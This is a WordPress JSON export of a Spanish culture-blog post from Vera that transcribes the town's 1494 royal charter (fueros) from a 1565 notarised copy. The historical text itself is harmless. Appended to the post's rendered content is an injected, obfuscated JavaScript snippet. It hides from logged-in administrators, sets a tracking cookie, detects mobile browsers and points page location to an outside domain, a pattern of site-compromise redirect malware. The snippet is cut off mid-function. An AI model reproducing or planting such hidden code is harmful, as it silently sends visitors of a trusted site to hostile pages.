{"id":825,"date":"2015-08-05T08:08:26","date_gmt":"2015-08-05T08:08:26","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=825"},"modified":"2018-01-15T13:38:27","modified_gmt":"2018-01-15T13:38:27","slug":"fueros-de-la-ciudad-de-vera-1494","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2015\/08\/05\/fueros-de-la-ciudad-de-vera-1494\/","title":{"rendered":"FUEROS DE LA CIUDAD DE VERA. 1494"},"content":{"rendered":"<p>El 20 de diciembre de 1494 los Reyes Cat\u00f3licos concedieron u otorgaron a Vera sus Fueros, documento constitutivo esencial en la vida de los municipios. En ellos quedaban escritos los aspectos institucionales b\u00e1sicos de la vida local necesarios para su desarrollo, desde la elecci\u00f3n de sus regidores, pasando por la existencia de un pend\u00f3n municipal con las armas del concejo, hasta el deber de tener el control sobre su jurisdicci\u00f3n. Se han podido conservar en el Archivo Municipal de Vera gracias a una copia solicitada en 1565.<\/p>\n<p><!--more--><\/p>\n<p>En la villa de Madrid, a diez y nueve d\u00edas del mes de octubre de mil y quinientos y sesenta y cinco a\u00f1os, ante el muy magn\u00edfico se\u00f1or licenciado C\u00e9spedes de Oviedo, del Consejo de Su Majestad, allde. En la su casa y corte y ante mi Diego de Hermosa, escribano de su majestad e de provincia en esta Corte, pareci\u00f3 presente Ortegarrosa, procurador de n\u00famero en ella, y present\u00f3 la petici\u00f3n y escritura del tenor siguiente: muy magn\u00edfico Se\u00f1or, Ortegarrosa en nombre de la \u00e7iudad de Vera digo que la dicha \u00e7iudad, mi parte, tiene necesidad para su guarda y conservaci\u00f3n de su derecho de un traslado desta escritura de fuero y privilegio, que los Reyes Cat\u00f3licos le dieron de la orden que han de tener en la elecci\u00f3n de los oficios y sobre otras cosas, que es este que presento, a vuestra merced suplico mande que se me d\u00e9 un traslado o dos o m\u00e1s o los que la dicha \u00e7iudad hubiere menester, para que los tenga en su archivo o en otra parte donde fuere necesario, en manera que haga fee, a los cuales y a cada uno de Isabel, por la gracia de Dios Rey e Reina de Castilla, de Le\u00f3n, de Arag\u00f3n, de Secilia, de Granada, de Toledo, de Valencia, de Mallorca, de Sevilla, de Cerde\u00f1a, de C\u00f3rdoba, de C\u00f3rcega, de Murcia, de Ja\u00e9n de los Algarbes, de Gibraltar, de las Islas de Canaria, conde e condesa de Barcelona e se\u00f1ores de Vizcaya y de Molina, duque de Atenas y de Neopatria, condes de Rosell\u00f3n y de Cerda\u00f1a, marqu\u00e9s de Oristan y de Goziano. A vos el Concejo, justicia y regidores, caballeros, escuderos, oficiales, hombres buenos de la \u00e7iudad de Vera, Salud y gracia; sepades que nos, viendo que todas las \u00e7iudades, villas y lugares destos nuestros Reynos y se\u00f1or\u00edos tienen fuero, a que est\u00e1n pobladas e orden como se han regir y gobernar y c\u00f3mo se han de nombrar los oficiales dellas y en todas las otras cosas que se deben hacer para la buena gobernaci\u00f3n e Regimiento della, e porque las \u00e7iudades, villas y lugares del reino de Granada por ser como son nuevamente pobladas de cristianos y no tener orden de c\u00f3mo se han de regir e gobernar las cosas del bien y procom\u00fan dellas ni tienen ordenanzas cerca dello, tiene muy mayor necesidad de aver fuero e ordenan\u00e7as con que se hayan de regir e gobernar, e queriendo en ello proveer como cumple al servicio de Dios nuestro Se\u00f1or y vuestro y el bien y procom\u00fan de las dichas \u00e7ibdades e villas e lugares del dicho reyno de Granada mandamos a los del nuestro consejo que platicasen en ello y viesen la orden que en ello se deb\u00eda dar, los cuales lo vieron e platicaron e habida informaci\u00f3n de la calidad de la dicha tierra, consultaron con nos su parecer, lo cual todo por nos visto, fue acordado que en cuanto nuestra merced y voluntad fuere y hasta tanto que nos mandemos proveer con mayor liberaci\u00f3n, en la gobernaci\u00f3n de la dicha \u00e7iudad, se hab\u00eda de tener la orden siguiente e nos tov\u00edmoslo por bien.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/primer-p\u00e1rrafo.jpg\"><img decoding=\"async\" class=\"alignnone size-medium wp-image-830\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/primer-p\u00e1rrafo-300x127.jpg\" alt=\"primer p\u00e1rrafo\" width=\"300\" height=\"127\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/primer-p\u00e1rrafo-300x127.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2015\/01\/primer-p\u00e1rrafo.jpg 850w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p align=\"justify\"><b>Primeramente<\/b> Ordenamos y mandamos que en la dicha \u00e7iudad haya cuatro regidores e un personero e un mayordomo e un secretario de Concejo e dos alcaldes ordinarios e un alguacil, los cuales sean elegidos como de yuso se contiene, salvo que el primer a\u00f1o sean puestos los dichos oficiales, a lo menos los cuatro electores de que de yuso se hac\u00eda menci\u00f3n.<\/p>\n<p align=\"justify\"><b>Otros\u00ed<\/b>, ordenamos y mandamos que de aqu\u00ed adelante en cada un a\u00f1o para siempre jam\u00e1s el d\u00eda de los Santos, de ma\u00f1ana a la hora de misa mayor, se junten luego en la iglesia mayor de la dicha \u00e7iudad de [Vera, la] Justicia y los cuatro regidores y el procurador y el escribano del concejo, que hubiere[n] sido hasta all\u00ed el a\u00f1o pasado y que delante [de] todo los que ende estuvieren los cuatro regidores, echen suertes entre si, que los dos dellos elegir\u00e1n los cuatro electores de yuso contenidos, y aquellos dos a quien cupiere la suerte queden por electores y faga[n] luego juramento sobre el cuerpo de Dios nuestro se\u00f1or en el altar mayor de la dicha iglesia que nombrar\u00e1n bien y fielmente sin parcialidad alguna a todo su entender cuatro personas, aquellas que seg\u00fan sus conciencias les pareciere que son de los m\u00e1s llanos e abonados e de buenas conciencias para elegir y nombrar oficiales, y estos tales a quien cupiere la suerte nombren luego cuatro personas, cada uno dos, y los oficiales de aquel a\u00f1o que entra e para otro venidero, los cuales hagan all\u00ed luego juramento en la forma susodicha de elegir y nombrar los dichos oficiales, aquellos que seg\u00fan Dios y sus conciencias les pareciere que son suficientes e h\u00e1biles para tener e administrar los tales oficios, sin lo comunicar uno con otro ni con otros, e que no sean los que en el a\u00f1o pr\u00f3ximo pasado han tenido los oficios, e que los elegir\u00e1n y nombrar\u00e1n sin aver ning\u00fan respeto a bando e parentela ni a ruego ni amor ni desamor ni a otra mala consideraci\u00f3n e que no nombrar\u00e1n para si ninguno de los dichos oficios, e esto fecho, cada uno destos cuatro se aparte cada uno a su parte en la dicha iglesia sin fablar ni comunicar con persona, e nombren dos alcaldes e cuatro regidores e un procurador e un alguazil e un mayordomo, e pongan cada uno destos cuatro por scripto a cada uno de los que ansi nombrare para cada uno de los oficios en un papelejo, que son nueve papelejos que cada uno ha de Hacer, y luego echen en un c\u00e1ntaro pro ante aquel escribano de concejo cada uno Sus e los dos primeros que salieren queden por alcaldes aquel a\u00f1o e otro a\u00f1o Venidero, e luego saquen de all\u00ed los otros papelejos, y echen all\u00ed los diez y seis papelejos para sacar los cuatro regidores e los cuatro primeros que salieren sean para regidores, y ans\u00ed se haga para cada uno de los oficios susodichos fasta que sean prove\u00eddos, y luego los otros papelejos que quedare[n] Sean quemados sin que persona los vea, y esto fecho el escribano del Concejo faga luego una n\u00f3mina de los dichos ofi\u00e7iales elegidos, firmada de la justicia e regidores, la cual nos sea luego enviada para, si nos pluguiere, la mandemos confirmar, e si nos pluguiere de mandar mudar alguna personas, lo mandemos hacer, y luego que nos enviaremos la confirmaci\u00f3n de los oficiales, el primer d\u00eda de Enero, juntos en la iglesia, saqu\u00e9is la dicha n\u00f3mina, que vos ans\u00ed enviaremos confirmada, e juntos todos los nombrados por ella para oficiales, Hagan luego todos el juramento que en tal caso se acostumbra de hacer, y dem\u00e1s juren luego que en su oficio no guardaran parcialidad ni bander\u00eda ni abran respeto dello en cosa alguna e que el a\u00f1o postrero, cuando espirare su oficio, guardar\u00e1n en \u00e9l elegir e nombrar oficiales en la dicha \u00e7iudad la mesma forma e no otra ninguna, e ans\u00ed queden por oficiales aquellos dos a[\u00f1os], y ans\u00ed se faga ende en adelante en cada dos a\u00f1os para siempre jam\u00e1s, e que las personas que en dos a\u00f1os tuvieren cualquiera de los dichos oficios no aya ni pueda ser elegidos ni nombrados para cualquier dellos en los otros cuatro a\u00f1os siguientes, de manera que el que dos a\u00f1os tuviere oficio de aquellos, no los pueda tener otros cuatro a\u00f1os o fasta que pasen otros cuatro a\u00f1os, y que estos alcaldes y regidores y procurador y alguazil y escribano de Concejo elijan los otros oficiales el d\u00eda de todos Santos del a\u00f1o postrimero de su oficio, de la forma y manera sobredicha, e cualquier que de otra manera fuere puesto que no vala el nombramiento ni los tales oficios puedan usar ni usen dellos ni valga lo que hicieren y sean habidos por personas privadas e caygan e incurran en las penas que caen las personas privadas que usan de oficios p\u00fablicos sin tener poder ni autoridad para ello.<\/p>\n<p align=\"justify\"><b>Otros\u00ed<\/b> (cap. 3.\u00ba), ordenamos y mandamos que el escribano del Concejo sea puesto por nos o por los reyes que despu\u00e9s de nos sucedieren y tenga el oficio cuanto nuestra merced y voluntad fuere y sea vecino de la tal \u00e7iudad o villa y lleve todos los dichos por el arancel que ser\u00e1 dado a la dicha \u00e7iudad.<\/p>\n<p align=\"justify\"><b>Otros\u00ed<\/b> (cap. 4.\u00ba) mandamos que los dichos alcaldes ordinarios y el alguacil sirvan sus oficios cuando no hubiere corregidor, y los alcaldes conozcan de todos los pleitos civiles e criminales en el tiempo que durare su oficio e ante ellos se demandaren, y en los pleitos criminales cada uno dellos pueda recibir la querella y tomar la primera informaci\u00f3n e mandar prender al que hallaren a el fraude, pero despu\u00e9s de preso o si no pudiere ser habido, si se hubiere de proceder en Rebeld\u00eda, que no pueda conocer sino ambos a dos juntos, pero ni el uno fuere ausente o impedido, que el otro pueda conocer e que las sentencias que se dieren sean conformes, acord\u00e1ndolas por abogados o por el uso en ausencia del otro, y si ambos a dos no se concertaren, que tomen un regidor qual a ellos paresciere por tercero, los cuales dichos alcaldes no lleven otros derechos saluo los contenidos en el arancel que les ser\u00e1 dado.<\/p>\n<p align=\"justify\"><b>Otros\u00ed (cap. 5.\u00ba)<\/b> ordenamos e mandamos que haya en la dicha \u00e7iudad cuatro escribanos p\u00fablicos, los cuales puedan dar fee en la dicha \u00e7iudad y su tierra e todas las escrituras y contratos e testamentos e obligaciones y autos judiciales y extrajudiciales, pasen ante estos escribanos y no ante otros algunos, los cuales sean vecinos de la dicha \u00e7iudad y lleven los derechos a su oficio pertenescientes por el arancel que les ser\u00e1 dato, sin dar parte de los dichos derechos a la \u00e7iudad, y cuando alguna escriban\u00eda destas vacare, que se elija otro por la \u00e7iudad, que sea h\u00e1bil e vecino e se env\u00ede la tal elecci\u00f3n ante nos, para que si nos pluguere la mandemos confirmar, los cuales escribanos con el de los fechos de Concejo sirvan sus oficios por s\u00ed mesmos e no por sustitutos, los cuales no lleven derechos algunos de las escripturas e negocios del concejo de la parte que al dicho concejo perteneciere.<\/p>\n<p align=\"justify\"><b>Otros\u00ed f(cap. 6.\u00ba)<\/b> ordenamos y mandamos que el alguacil, que ans\u00ed fuere elegido, sirva su oficio por s\u00ed mismo e que pueda poner otro en su lugar e no m\u00e1s para que le ayude, los cuales sean vecinos de la \u00e7iudad abonados y de Buena fama, presentados en el cabildo, a donde faga juramento primero que use de los oficios.<\/p>\n<h1 align=\"justify\">Otros\u00ed (cap. 7.\u00ba) ordenamos y mandamos que los dichos regidores se junten a cabildo con la Justicia y con el personero y el Secretario del Concejo tres d\u00edas a la semana, lunes e mi\u00e9rcoles y viernes, sin estar otra persona con ellos salvo los dos procuradores del com\u00fan de que de yuso se har\u00e1 menci\u00f3n, e all\u00ed vean todas las cosas de concejo, ans\u00ed lo que toca a los propios de la \u00e7iudad como lo que toca a la guarda de las ordenanzas e t\u00e9rminos della e todas las otras cosas, que concernieren a la Buena gobernaci\u00f3n e regimiento della, de que seg\u00fan las leyes destos reinos se debe conocer en los semejantes ayuntamientos.<\/h1>\n<p align=\"justify\"><b>Otros\u00ed (cap. 8.\u00ba)<\/b> ordenamos y mandamos que el mayordomo de la \u00e7iudad ni el letrado della no entren en cabildo sino cuando fueren llamados e luego que se acabe aquello para que fueren llamados se salgan, e en el dicho cabildo no tengan voto salvo la Justicia e regidores, e lo que se acordare por los m\u00e1s votos se faga, salvo si a la justicia pareciere que lo que se acuerda por los dem\u00e1s votos es en nuestro deservicio e da\u00f1o de la \u00e7iudad, y que en tal caso la pueda suspender fasta nos lo hacer saber, en tanto que esto no se haga por malicia, e que el Escribano de Concejo escriba por nombre los que se juntan cada d\u00eda de concejo, ans\u00ed mismo porque se sepa a qui\u00e9n se a de cargar la culpa de lo que se hiciere como no debe, y el personero tenga cargo de procurar las cosas de provecho de concejo y contradecir las que fueren en su da\u00f1o y requerir que se guarden las buenas ordenan\u00e7as y procurar todo lo que cumpliere a los propios del concejo, de manera que por su negligencia no se pierda el derecho del concejo, con tanto que el tal procurador no tenga salario.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 9.\u00ba)<\/b> ordenamos e mandamos que el mayordomo de fian\u00e7as bastantes para lo que ha de recibir de los propios de concejo e que no gastara nada de lo que cobrare sino por libramiento fecho por el Escribano de Concejo e firmado por la Justicia e regidores que residen, e que \u00e9l tern\u00e1 cargo de tornar las fian\u00e7as a los arrendadores e cobrar los maraved\u00eds que se devieren y hazer todas las diligencias que fuere menester para la cobran\u00e7a dello, y que el mayordomo dar\u00e1 cuenta en fin de a\u00f1o dentro de treinta d\u00edas, la qual quenta se tome en cabildo presente la Justicia y regidores.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 10.\u00ba)<\/b> ordenamos y mandamos que los dichos regidores no gasten los dineros de los propios en d\u00e1divas ni fagan donaciones de los t\u00e9rminos ni de las cosas de concejo, salvo que gasten los dineros de los dichos propios en las cosas que conciernen al bien com\u00fan.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 11.\u00ba)<\/b> ordenamos y mandamos que cuando se hace obra p\u00fablica, se elija en el cauildo un obrero y un veedor de la obra y un escribano, para que vea la obra y asiente por escripto todo el gasto della e lo firme, para que por ello se libre en el cabildo para que lo pague el mayordomo.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 12.\u00ba)<\/b> ordenamos y mandamos que haya un portero de cabildo e un carcelero de la c\u00e1rcel e un verdugo y dos pregoneros, los cuales sean puestos por la Justicia e Regidores e que ninguno de los oficiales sobre dichos tengan dos oficios de todos los susodichos ni puedan ser elexidos a los dichos oficios ni tener algunos dellos persona que viva con otra salvo con nos.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 13.\u00ba)<\/b> ordenamos y mandamos que al rematar de las rentas est\u00e9n la Justicia e regidores viejos e nuevos.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 14.\u00ba)<\/b> ordenamos y mandamos que de la dicha \u00e7iudad ning\u00fan juez ni comisario ni executor pueda llevar ni lleve derechos algunos, salvo por la tabla de los derechos que ser\u00e1 fecha para la dicha \u00e7iudad, ni lleuen vista de proceso ni asesor\u00edas ni derechos doblados.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 15.\u00ba)<\/b> ordenamos y mandamos que haya casa de concejo y c\u00e1rcel y casa deputada para que est\u00e9n los escribanos p\u00fablicos de continuo auditorio para las audiencias de los alcaldes e todo esto est\u00e9 en la plaza o en el lugar convenido.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 16.\u00ba)<\/b> ordenamos y mandamos que haya rrector e hospital e carnecer\u00eda e matadero de carnes fuera de la \u00e7iudad.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 17.\u00ba)<\/b> ordenamos e mandamos que haya pend\u00f3n pintado con las armas de concejo que nos les di\u00e9remos, el cual lleven cuando fuere menester de salir al pend\u00f3n con la gente de la \u00e7iudad el alguacil mayor.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 18.\u00ba)<\/b> ordenamos y mandamos que se haga harca de privilegios y sentencias y escripturas, la cual tenga tres llaves e la una dellas tenga el corregidor cuando lo hubiere e cuando no, uno de los alcaldes e la otra un regidor e la otra un escribano de concejo.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 19.\u00ba)<\/b> ordenamos y mandamos que aya en la dicha \u00e7iudad un libro en que est\u00e9n los previlegios della en p\u00fablico, traslados autorizados.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 20.\u00ba)<\/b> ordenamos y mandamos que haya otro libro, en que se asienten las provisiones y c\u00e9dulas que nos les enviaremos e que fueren presentadas en cabildo de la dicha \u00e7iudad.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 21.\u00ba)<\/b> ordenamos y mandamos que en la dicha harca est\u00e9 el sello de concejo para que con \u00e9l sellen las cartas delante las personas que tuvieren las llaves.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 22.\u00ba)<\/b> ordenamos y mandamos que se hagan las ordenan\u00e7as que convienen la dicha \u00e7iudad y fechas en bien ante nos para que las mandemos ver y enmendar e confirmar como vi\u00e9remos que nos cumple a nuestro servicio e al bien de la \u00e7iudad y especialmente se hagan ordenan\u00e7as cerca de las cosas de yuso contenidas.<\/p>\n<p align=\"justify\">E cerca de las moliendas para que se pase el trigo a la harina.<\/p>\n<p align=\"justify\">E y cerca del jab\u00f3n, lo cual ser\u00e1 para propios de concejo.<\/p>\n<p align=\"justify\">E y cerca del metal e del vino e de las tabernas e mesones e ventas si las hubiere.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 23.\u00ba)<\/b> ordenamos y mandamos que se hagan ordenan\u00e7as cerca de la guarda de los t\u00e9rminos comunes ans\u00ed de los panes e vi\u00f1as e para lo que no fuere plantado de frutales e empanado sea pasto com\u00fan, de manera que, quitado el pan, sea pasto com\u00fan.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 24.\u00ba)<\/b> mandamos que se hagan ordenan\u00e7as para los cereros e otros menestrales e para los mantenimientos e para las carnecer\u00edas e pescader\u00edas e para los regatones, e las penas de todo sea para los propios.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 25.\u00ba)<\/b> ordenamos y mandamos que se hagan ordenan\u00e7as de los repartimientos e contribuciones, c\u00f3mo y de qu\u00e9 manera se ha de hacer m\u00e1s igualmente y m\u00e1s sin fraude.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 26.\u00ba)<\/b> ordenamos y mandamos que se hagan ordenan\u00e7as para todos los otros oficios de menestrales, jornaleros y en todos los oficios se hagan veedores para que vean todas las obras que se hicieren, para que se hagan fielmente y sin fraude.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 27.\u00ba)<\/b> mandamos que haya dos diputados, que sea de los mismos regidores, para que de treinta d\u00edas que entiendan en la guarda de las dichas ordenanzas y en las otras cosas del regimiento della, as\u00ed como en las pesas y medidas e en los cambios y en la limpieza de las calles e de las carnecer\u00edas e pescader\u00edas y en la execuci\u00f3n de las penas de las dichas ordenan\u00e7as y en todo lo que hubiere duda y agravio, se vea en el cabildo de la dicha \u00e7iudad por los oficiales del.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 28.\u00ba)<\/b> ordenamos y mandamos que haya dos alarifes para ver las obras e las otras cosas a su oficio pertenecientes.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 29.\u00ba)<\/b> mandamos que las penas de las dichas ordenan\u00e7as de con\u00e7ejo no se hagan iguales so pena de a\u00e7otes.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 30.\u00ba)<\/b> ordenamos y mandamos que los dichos dos procuradores del com\u00fan se elijan desta manera el d\u00eda de los reyes cada a\u00f1o. Se junten los vecinos pecheros de la dicha \u00e7iudad en la iglesia mayor della y, juntos a campana repicada, juren de elegir los dos procuradores sin afici\u00f3n ni parcialidad alguna, e fecho el dicho juramento, cada uno de su voto a quien lo pareciere m\u00e1s h\u00e1bil para el dicho oficio, estando presentes la justicia e un escribano, e los dos que tuvieren m\u00e1s votos queden por procuradores del com\u00fan por aquel a\u00f1o e luego sean presentados e recibidos en el cabildo de la dicha \u00e7iudad e all\u00ed hagan juramento de usar de los dichos oficios bien y fielmente y sin parcialidad ninguna, e, esto fecho, dende en adelante usen de los dichos oficios , viniendo a los Ayuntamientos que la justicia e regidores hicieren, mirando si las cosas que all\u00ed se platican e hacen son en provecho com\u00fan y si los repartimientos que se hacen y lo que se libra y las cuentas que se toman se hace todo fielmente y sin fraude, y cuando les pareciere que no se hace ans\u00ed, requieran a la justicia y regidores que se enmienden, y cuando no se enmienden, tomen testimonio y nos lo notifiquen.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 31.\u00ba)<\/b> ordenamos y mandamos que todos los susodichos oficiales lleven sus derechos por el arancel de la \u00e7iudad.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 32.\u00ba)<\/b> ordenamos y mandamos que los heredamientos y casas y otros bienes ra\u00edces, que nos mandamos repartir en la \u00e7iudad, que no embargante cualquier venta e merced e donaci\u00f3n u otro cualquier t\u00edtulo, que nos di\u00e9remos por donde se transpasen los tales bienes en cualquier persona de cualquier estado o calidad o preeminencia que sea, aunque sea persona eclesi\u00e1stica o de orden o de religi\u00f3n regular o militar o en cualquier iglesia o monasterio e hospital e otro lugar de religi\u00f3n todav\u00eda los bienes vayan con su carga, para que cualesquier cargas y pecher\u00edas e tributos e imposiciones e contribuciones, as\u00ed como si estuviesen en poder y se\u00f1or\u00edo de personas legas, e ans\u00ed y ante aquellos jueces seglares sean juzgados y determinados los pleitos y debates que sobre ellas nacieren ans\u00ed en demandando como en defendiendo, seg\u00fan y de la manera que lo estar\u00edan y pechar\u00edan y contribuir\u00edan y se cargar\u00edan cargas e imposiciones estando en poder de las tales personas legas, e por esta v\u00eda y con esta carga y calidad y condici\u00f3n y temporalidad est\u00e9n perpetuamente los tales bienes en cualquier poseedores que los tengan o en cualesquier otros que en ellos sucedan de uno en otro y de otro en otro de mano en mano y de sucesor en sucesor para siempre jam\u00e1s. E que desde ahora queremos y mandamos que los dichos bienes heredamientos hayan sido o sean escriptos e sujetos e obligados a pagar e que por raz\u00f3n de ellos se paguen todos y cualesquier pechos y tributos y exacciones de cualquier calidad que sean, inciertos, variables e no variables, ans\u00ed como si los tales bienes y heredamientos fuesen tenidos y pose\u00eddos por cualesquier pecheros, agora y de aqu\u00ed adelante e para siempre jam\u00e1s, y que con esta carga y no sin ella pasen los dichos bienes y el se\u00f1or\u00edo dellos en cualesquier personas, hijosdalgo e exentos e eclesi\u00e1sticos, y si cualquiera de los dichos rehusare o no sufriere de pagar los dichos se torne a las personas seglares de quien eman\u00f3 el contrato e en tal suso no haya pasado ni pase el se\u00f1or\u00edo ni la propiedad de los tales bienes en las tales personas exentas ni en algunas dellas.<\/p>\n<p align=\"justify\"><b>E otros\u00ed (cap. 33.\u00ba)<\/b> ordenamos y mandamos que en cualesquier lugares o villas que estuvieren sujetas a la jurisdicci\u00f3n de esa \u00e7iudad o encomendadas a vos el dicho corregidor della, habida primeramente informaci\u00f3n de la calidad y poblaci\u00f3[n] de cada lugar e de lo que conviene, hag\u00e1is ordenan\u00e7a para cada lugar, ans\u00ed en el elegir alcaldes y regidores y procuradores e otros oficiales como en las otras cosas que tocan a la buena gobernaci\u00f3n de las dichas villas y lugares, de manera que la dichas villas y lugares est\u00e9n gobernados como debe, conformando vos con el tenor y forma de las ordenan\u00e7as contenidas en esta nuestra carta, moderando e enme[n]dando lo que vi\u00e9redes que conviene seg\u00fan la calidad de cada lugar, y ans\u00ed fechas las dichas ordenan\u00e7as, las envi\u00e9is ante nos al nuestro consejo para que nos las mandemos ver y si fueren buenas las mandemos confirmar y si no fueren tales las mandemos enmendar, e se faga sobre todo lo que m\u00e1s cumpliere a nuestro servicio y al bien y procom\u00fan de la dicha \u00e7iudad y villas y lugares susodichos y vecinos y moradores de ellas.<\/p>\n<p align=\"justify\">Lo cual todo ordenamos y mandamos que ans\u00ed guarde y cumpla en todo y por todo seg\u00fa[n] dicho es, no embargante que nos hayamos prove\u00eddo de los oficios de regimientos e jurader\u00edas desta dicha \u00e7iudad por las vidas de los cuales tienen las cualesdichas mercedes, de luego si necesario es revocamos, casamos y anulamos y damos por ningunas y de ning\u00fan efecto y valor y mandamos a las personas, que han sido prove\u00eddas de los dichos oficios p\u00fablicos no teniendo poder ni autoridad para ello.<\/p>\n<p align=\"justify\">Porque vos mandamos que ve\u00e1is las dichas ordenan\u00e7as y todo lo en ellas contenido y en cuanto que nuestra merced y voluntad fuere y fasta que con mayor deliberaci\u00f3n lo mandemos proveer, las guard\u00e9is y cumpl\u00e1is y hag\u00e1is guardar y cumplir y executar en esta dicha \u00e7iudad y su tierra en todo y por todo seg\u00fan que en ella se contiene, y contra el tenor y forma della no vayades ni pasedes ni consintades ir ni pasar por alguna manera, so las penas en ella contenidas y m\u00e1s so pena de diez mills de maraved\u00eds para nuestra c\u00e1mara, y dem\u00e1s mandamos al que vos esta nuestra carta mostrare que vos emplace que parezcades ante nos en la nuestra corte doquier que nos seamos del d\u00eda que vos emplazare hasta quince d\u00edas primeros siguientes so la dicha pensa so la cual mandamos a cualquier escribano p\u00fablico que para esto fuere llamado que de ende al que vos la mostrare testimonio signando con su signo, para que nos sepamos c\u00f3mo se cumple nuestro mandado. Dada en la villa de Valladolid a veinte d\u00edas del mes de diciembre a\u00f1os del nacimiento de nuestro salvador Jesucristo de mil y cuatrocientos y noventa y cuatro a\u00f1os. Yo el Rey. Yo la Reyna. Yo Juan de la Parra, secretario del rey y de la reina, nuestros se\u00f1ores, la fize escribir por su mandado. D. \u00c1lvaro Jhoanes doctor, Diego \u00c1lvarez chanciller autodoctor, Undia licenciato o licenciatus. Registrado Alonso P\u00e9rez, sin derechos y presentada la dicha petici\u00f3n y escriptura, de que en la dispen\u00e7i\u00f3n se hace menci\u00f3n y por el dicho se\u00f1or alcalde visto, dixo que mandaba y mand\u00f3 que yo el dicho escribano saque un traslado, dos o m\u00e1s y los de la a la dicha \u00e7iudad de Vera signados en p\u00fablica forma en manera que haga fee su autoridad y decreto judicial y lo fizo siendo testigos Jer\u00f3nimo de Sosa y Crist\u00f3bal de Le\u00f3n, viendo se dec\u00eda saqu\u00e9is, se d\u00e9 e deis en d.t. no vala. E va enmendado. El dicho Rodrigo er Aujal luego vala. Va entre renglones o decir se aleyde usen cerca, de, y va sobrerraydo luego vala. E yo Diego Hermosa, escribano de su majestad de provincia en esta corte pre. Por el licenciado C\u00e9spedes que ante mi firma todo lo que dicho es e M. De Oviedo, juntamento con los dichos testigos y del dicho pedimento y demandamento del dicho se\u00f1or alcalde, lo fize escribir y por ende fize aqu\u00ed este mi signo a tal. En testimonio de verdad. Diego de Hermosa (r\u00fabrica y signa). Derechos 80 maraved\u00eds. (al pie) Scriptura otorgada por mandado de Vuestra Merced.<\/p>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return 